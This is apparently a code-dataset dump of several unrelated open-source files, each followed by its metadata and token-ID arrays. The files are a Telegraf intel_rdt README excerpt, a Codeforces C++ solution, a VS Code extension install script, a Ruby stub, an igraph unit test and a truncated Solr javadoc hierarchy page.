local NUMA memory channel | | MBR | Memory Bandwidth on Remote NUMA Node | Memory bandwidth utilization by the relevant CPU core/process on the remote NUMA memory channel | | MBT | Total Memory Bandwidth | Total memory bandwidth utilized by a CPU core/process on local and remote NUMA memory channels | | LLC | L3 Cache Occupancy | Total Last Level Cache occupancy by a CPU core/process | | LLC_Misses* | L3 Cache Misses | Total Last Level Cache misses by a CPU core/process | | IPC* | Instructions Per Cycle | Total instructions per cycle executed by a CPU core/process | *optional ### Troubleshooting Pointing to non-existing cores will lead to throwing an error by _pqos_ and the plugin will not work properly. Be sure to check provided core number exists within desired system. Be aware, reading Intel RDT metrics by _pqos_ cannot be done simultaneously on the same resource. Do not use any other _pqos_ instance that is monitoring the same cores or PIDs within the working system. It is not possible to monitor same cores or PIDs on different groups. PIDs associated for the given process could be manually checked by `pidof` command. E.g: ``` pidof PROCESS ``` where `PROCESS` is process name. ### Example Output ``` > rdt_metric,cores=12\,19,host=r2-compute-20,name=IPC,process=top value=0 1598962030000000000 > rdt_metric,cores=12\,19,host=r2-compute-20,name=LLC_Misses,process=top value=0 1598962030000000000 > rdt_metric,cores=12\,19,host=r2-compute-20,name=LLC,process=top value=0 1598962030000000000 > rdt_metric,cores=12\,19,host=r2-compute-20,name=MBL,process=top value=0 1598962030000000000 > rdt_metric,cores=12\,19,host=r2-compute-20,name=MBR,process=top value=0 1598962030000000000 > rdt_metric,cores=12\,19,host=r2-compute-20,name=MBT,process=top value=0 1598962030000000000 ```
oldmantaiter/telegraf
plugins/inputs/intel_rdt/README.md
Markdown
mit
6,154
[ 30522, 1001, 13420, 16428, 2102, 7953, 13354, 2378, 1996, 1036, 13420, 1035, 16428, 2102, 1036, 13354, 2378, 30524, 2504, 17053, 1010, 3638, 20235, 1007, 1012, 1001, 1001, 1001, 2055, 13420, 16428, 2102, 13420, 1521, 1055, 7692, 2472, 2974, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
#include <iomanip> #include <iostream> using namespace std; int main() { ios_base::sync_with_stdio(false); cin.tie(nullptr); int n, p_i; cin >> n; double total = 0.0; for (size_t i = 0; i < n; i++) { cin >> p_i; total += p_i; } cout << setprecision(12) << fixed << (total / n) << endl; }
emanuelsaringan/codeforces
Drinks/main.cc
C++
gpl-2.0
314
[ 30522, 1001, 2421, 1026, 22834, 20799, 2361, 1028, 1001, 2421, 1026, 30524, 1025, 25022, 2078, 1028, 1028, 1050, 1025, 3313, 2561, 1027, 1014, 1012, 1014, 1025, 2005, 1006, 2946, 1035, 1056, 1045, 1027, 1014, 1025, 1045, 1026, 1050, 1025, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
code --install-extension brian-anders.sublime-duplicate-text code --install-extension britesnow.vscode-toggle-quotes code --install-extension dbaeumer.vscode-eslint code --install-extension dinhlife.gruvbox code --install-extension eamodio.gitlens code --install-extension editorconfig.editorconfig code --install-extension esbenp.prettier-vscode code --install-extension malmaud.tmux code --install-extension marp-team.marp-vscode code --install-extension mikestead.dotenv code --install-extension pnp.polacode code --install-extension sleistner.vscode-fileutils code --install-extension wmaurer.change-case
huntie/dotfiles
vscode/install.sh
Shell
gpl-3.0
609
[ 30522, 3642, 1011, 1011, 16500, 1011, 5331, 4422, 1011, 15387, 1012, 28341, 1011, 24473, 1011, 3793, 3642, 1011, 1011, 16500, 1011, 5331, 28101, 2229, 19779, 1012, 5443, 16044, 1011, 2000, 24679, 1011, 16614, 3642, 1011, 1011, 16500, 1011, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
require 'rest-client' module CsmdSms class Query def self.execute args new(args).execute end def initialize args end def execute end def md5_password end end end
jimhj/csmd_sms
lib/csmd_sms/query.rb
Ruby
mit
207
[ 30522, 5478, 1005, 2717, 1011, 7396, 1005, 11336, 20116, 26876, 19230, 2465, 23032, 13366, 2969, 1012, 15389, 12098, 5620, 2047, 1006, 12098, 5620, 1007, 1012, 15389, 2203, 13366, 3988, 4697, 12098, 5620, 2203, 13366, 15389, 2203, 13366, 9108...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* IGraph library. Copyright (C) 2021 The igraph development team <igraph@igraph.org> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>. */ #include <igraph.h> #include "test_utilities.inc" int main() { igraph_t g_empty, g_lm; igraph_vector_t result; igraph_vs_t vids; igraph_rng_seed(igraph_rng_default(), 42); igraph_vector_init(&result, 0); igraph_vs_all(&vids); igraph_small(&g_empty, 0, 0, -1); igraph_small(&g_lm, 6, 1, 0,1, 0,2, 1,1, 1,3, 2,0, 2,3, 3,4, 3,4, -1); printf("No vertices:\n"); IGRAPH_ASSERT(igraph_neighborhood_size(&g_empty, &result, vids, /*order*/ 1, /*mode*/ IGRAPH_ALL, /*mindist*/ 0) == IGRAPH_SUCCESS); print_vector(&result); printf("Directed graph with loops and multi-edges, order 0:\n"); IGRAPH_ASSERT(igraph_neighborhood_size(&g_lm, &result, vids, /*order*/ 0, /*mode*/ IGRAPH_ALL, /*mindist*/ 0) == IGRAPH_SUCCESS); print_vector(&result); printf("Directed graph with loops and multi-edges, order 1, ignoring direction:\n"); IGRAPH_ASSERT(igraph_neighborhood_size(&g_lm, &result, vids, /*order*/ 1, /*mode*/ IGRAPH_ALL, /*mindist*/ 0) == IGRAPH_SUCCESS); print_vector(&result); printf("Directed graph with loops and multi-edges, order 1, only checking IGRAPH_IN:\n"); IGRAPH_ASSERT(igraph_neighborhood_size(&g_lm, &result, vids, /*order*/ 1, /*mode*/ IGRAPH_IN, /*mindist*/ 0) == IGRAPH_SUCCESS); print_vector(&result); printf("Directed graph with loops and multi-edges, order 10, ignoring direction:\n"); IGRAPH_ASSERT(igraph_neighborhood_size(&g_lm, &result, vids, /*order*/ 10, /*mode*/ IGRAPH_ALL, /*mindist*/ 0) == IGRAPH_SUCCESS); print_vector(&result); printf("Directed graph with loops and multi-edges, order 2, mindist 2, IGRAPH_OUT:\n"); IGRAPH_ASSERT(igraph_neighborhood_size(&g_lm, &result, vids, /*order*/ 2, /*mode*/ IGRAPH_OUT, /*mindist*/ 2) == IGRAPH_SUCCESS); print_vector(&result); printf("Directed graph with loops and multi-edges, order 4, mindist 4, IGRAPH_ALL:\n"); IGRAPH_ASSERT(igraph_neighborhood_size(&g_lm, &result, vids, /*order*/ 4, /*mode*/ IGRAPH_ALL, /*mindist*/ 4) == IGRAPH_SUCCESS); print_vector(&result); VERIFY_FINALLY_STACK(); igraph_set_error_handler(igraph_error_handler_ignore); printf("Negative order.\n"); IGRAPH_ASSERT(igraph_neighborhood_size(&g_lm, &result, vids, /*order*/ -4, /*mode*/ IGRAPH_ALL, /*mindist*/ 4) == IGRAPH_EINVAL); printf("Negative mindist.\n"); IGRAPH_ASSERT(igraph_neighborhood_size(&g_lm, &result, vids, /*order*/ 4, /*mode*/ IGRAPH_ALL, /*mindist*/ -4) == IGRAPH_EINVAL); igraph_vector_destroy(&result); igraph_destroy(&g_empty); igraph_destroy(&g_lm); VERIFY_FINALLY_STACK(); return 0; }
igraph/igraph
tests/unit/igraph_neighborhood_size.c
C
gpl-2.0
3,528
[ 30522, 1013, 1008, 1045, 14413, 3075, 1012, 9385, 1006, 1039, 1007, 25682, 1996, 1045, 14413, 2458, 2136, 1026, 1045, 14413, 1030, 1045, 14413, 1012, 8917, 1028, 2023, 2565, 2003, 30524, 2030, 19933, 2009, 2104, 1996, 3408, 1997, 1996, 2700...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (1.8.0_102) on Wed Nov 02 19:53:02 IST 2016 --> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>org.apache.solr.update.processor Class Hierarchy (Solr 6.3.0 API)</title> <meta name="date" content="2016-11-02"> <link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style"> <script type="text/javascript" src="../../../../../script.js"></script> </head> <body> <script type="text/javascript"><!-- try { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="org.apache.solr.update.processor Class Hierarchy (Solr 6.3.0 API)"; } } catch(err) { } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar.top"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.top.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../overview-summary.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li>Class</li> <li>Use</li> <li class="navBarCell1Rev">Tree</li> <li><a href="../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../../org/apache/solr/update/package-tree.html">Prev</a></li> <li><a href="../../../../../org/apache/solr/util/package-tree.html">Next</a></li> </ul> <ul class="navList"> <li><a href="../../../../../index.html?org/apache/solr/update/processor/package-tree.html" target="_top">Frames</a></li> <li><a href="package-tree.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip.navbar.top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> <div class="header"> <h1 class="title">Hierarchy For Package org.apache.solr.update.processor</h1> <span class="packageHierarchyLabel">Package Hierarchies:</span> <ul class="horizontal"> <li><a href="../../../../../overview-tree.html">All Packages</a></li> </ul> </div> <div class="contentContainer"> <h2 title="Class Hierarchy">Class Hierarchy</h2> <ul> <li type="circle">java.lang.<a href="https://docs.oracle.com/javase/8/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang"><span class="typeNameLink">Object</span></a> <ul> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/AtomicUpdateDocumentMerger.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">AtomicUpdateDocumentMerger</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/DistributedUpdateProcessor.RequestReplicationTracker.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">DistributedUpdateProcessor.RequestReplicationTracker</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/FieldMutatingUpdateProcessorFactory.SelectorParams.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">FieldMutatingUpdateProcessorFactory.SelectorParams</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/Signature.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">Signature</span></a> <ul> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/Lookup3Signature.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">Lookup3Signature</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/MD5Signature.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">MD5Signature</span></a> <ul> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/TextProfileSignature.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">TextProfileSignature</span></a></li> </ul> </li> </ul> </li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/TemplateUpdateProcessorFactory.Resolved.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">TemplateUpdateProcessorFactory.Resolved</span></a></li> <li type="circle">java.lang.<a href="https://docs.oracle.com/javase/8/docs/api/java/lang/Throwable.html?is-external=true" title="class or interface in java.lang"><span class="typeNameLink">Throwable</span></a> (implements java.io.<a href="https://docs.oracle.com/javase/8/docs/api/java/io/Serializable.html?is-external=true" title="class or interface in java.io">Serializable</a>) <ul> <li type="circle">java.lang.<a href="https://docs.oracle.com/javase/8/docs/api/java/lang/Exception.html?is-external=true" title="class or interface in java.lang"><span class="typeNameLink">Exception</span></a> <ul> <li type="circle">java.lang.<a href="https://docs.oracle.com/javase/8/docs/api/java/lang/RuntimeException.html?is-external=true" title="class or interface in java.lang"><span class="typeNameLink">RuntimeException</span></a> <ul> <li type="circle">org.apache.solr.common.<a href="../../../../../../solr-solrj/org/apache/solr/common/SolrException.html?is-external=true" title="class or interface in org.apache.solr.common"><span class="typeNameLink">SolrException</span></a> <ul> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/DistributedUpdateProcessor.DistributedUpdatesAsyncException.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">DistributedUpdateProcessor.DistributedUpdatesAsyncException</span></a></li> </ul> </li> </ul> </li> </ul> </li> </ul> </li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/UpdateRequestProcessor.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">UpdateRequestProcessor</span></a> <ul> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/DistributedUpdateProcessor.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">DistributedUpdateProcessor</span></a> <ul> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/CdcrUpdateProcessor.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">CdcrUpdateProcessor</span></a></li> </ul> </li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/FieldMutatingUpdateProcessor.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">FieldMutatingUpdateProcessor</span></a> <ul> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/AllValuesOrNoneFieldMutatingUpdateProcessor.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">AllValuesOrNoneFieldMutatingUpdateProcessor</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/FieldValueMutatingUpdateProcessor.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">FieldValueMutatingUpdateProcessor</span></a></li> </ul> </li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/RegexpBoostProcessor.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">RegexpBoostProcessor</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/TolerantUpdateProcessor.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">TolerantUpdateProcessor</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/URLClassifyProcessor.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">URLClassifyProcessor</span></a></li> </ul> </li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/UpdateRequestProcessorChain.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">UpdateRequestProcessorChain</span></a> (implements org.apache.solr.util.plugin.<a href="../../../../../org/apache/solr/util/plugin/PluginInfoInitialized.html" title="interface in org.apache.solr.util.plugin">PluginInfoInitialized</a>)</li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/UpdateRequestProcessorChain.ProcessorInfo.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">UpdateRequestProcessorChain.ProcessorInfo</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/UpdateRequestProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">UpdateRequestProcessorFactory</span></a> (implements org.apache.solr.util.plugin.<a href="../../../../../org/apache/solr/util/plugin/NamedListInitializedPlugin.html" title="interface in org.apache.solr.util.plugin">NamedListInitializedPlugin</a>) <ul> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/AbstractDefaultValueUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">AbstractDefaultValueUpdateProcessorFactory</span></a> <ul> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/DefaultValueUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">DefaultValueUpdateProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/TimestampUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">TimestampUpdateProcessorFactory</span></a></li> </ul> </li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/AddSchemaFieldsUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">AddSchemaFieldsUpdateProcessorFactory</span></a> (implements org.apache.solr.util.plugin.<a href="../../../../../org/apache/solr/util/plugin/SolrCoreAware.html" title="interface in org.apache.solr.util.plugin">SolrCoreAware</a>)</li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/CdcrUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">CdcrUpdateProcessorFactory</span></a> (implements org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/DistributingUpdateProcessorFactory.html" title="interface in org.apache.solr.update.processor">DistributingUpdateProcessorFactory</a>)</li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/ClassificationUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">ClassificationUpdateProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/CloneFieldUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">CloneFieldUpdateProcessorFactory</span></a> (implements org.apache.solr.util.plugin.<a href="../../../../../org/apache/solr/util/plugin/SolrCoreAware.html" title="interface in org.apache.solr.util.plugin">SolrCoreAware</a>)</li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/DistributedUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">DistributedUpdateProcessorFactory</span></a> (implements org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/DistributingUpdateProcessorFactory.html" title="interface in org.apache.solr.update.processor">DistributingUpdateProcessorFactory</a>)</li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/DocBasedVersionConstraintsProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">DocBasedVersionConstraintsProcessorFactory</span></a> (implements org.apache.solr.util.plugin.<a href="../../../../../org/apache/solr/util/plugin/SolrCoreAware.html" title="interface in org.apache.solr.util.plugin">SolrCoreAware</a>, org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/UpdateRequestProcessorFactory.RunAlways.html" title="interface in org.apache.solr.update.processor">UpdateRequestProcessorFactory.RunAlways</a>)</li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/DocExpirationUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">DocExpirationUpdateProcessorFactory</span></a> (implements org.apache.solr.util.plugin.<a href="../../../../../org/apache/solr/util/plugin/SolrCoreAware.html" title="interface in org.apache.solr.util.plugin">SolrCoreAware</a>)</li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/FieldMutatingUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">FieldMutatingUpdateProcessorFactory</span></a> (implements org.apache.solr.util.plugin.<a href="../../../../../org/apache/solr/util/plugin/SolrCoreAware.html" title="interface in org.apache.solr.util.plugin">SolrCoreAware</a>) <ul> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/ConcatFieldUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">ConcatFieldUpdateProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/CountFieldValuesUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">CountFieldValuesUpdateProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/FieldLengthUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">FieldLengthUpdateProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/FieldValueSubsetUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">FieldValueSubsetUpdateProcessorFactory</span></a> <ul> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/FirstFieldValueUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">FirstFieldValueUpdateProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/LastFieldValueUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">LastFieldValueUpdateProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/MaxFieldValueUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">MaxFieldValueUpdateProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/MinFieldValueUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">MinFieldValueUpdateProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/UniqFieldsUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">UniqFieldsUpdateProcessorFactory</span></a></li> </ul> </li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/HTMLStripFieldUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">HTMLStripFieldUpdateProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/IgnoreFieldUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">IgnoreFieldUpdateProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/ParseBooleanFieldUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">ParseBooleanFieldUpdateProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/ParseDateFieldUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">ParseDateFieldUpdateProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/ParseNumericFieldUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">ParseNumericFieldUpdateProcessorFactory</span></a> <ul> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/ParseDoubleFieldUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">ParseDoubleFieldUpdateProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/ParseFloatFieldUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">ParseFloatFieldUpdateProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/ParseIntFieldUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">ParseIntFieldUpdateProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/ParseLongFieldUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">ParseLongFieldUpdateProcessorFactory</span></a></li> </ul> </li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/PreAnalyzedUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">PreAnalyzedUpdateProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/RegexReplaceProcessorFactory.html" title="class in org.apache.solr.update.processor"><span 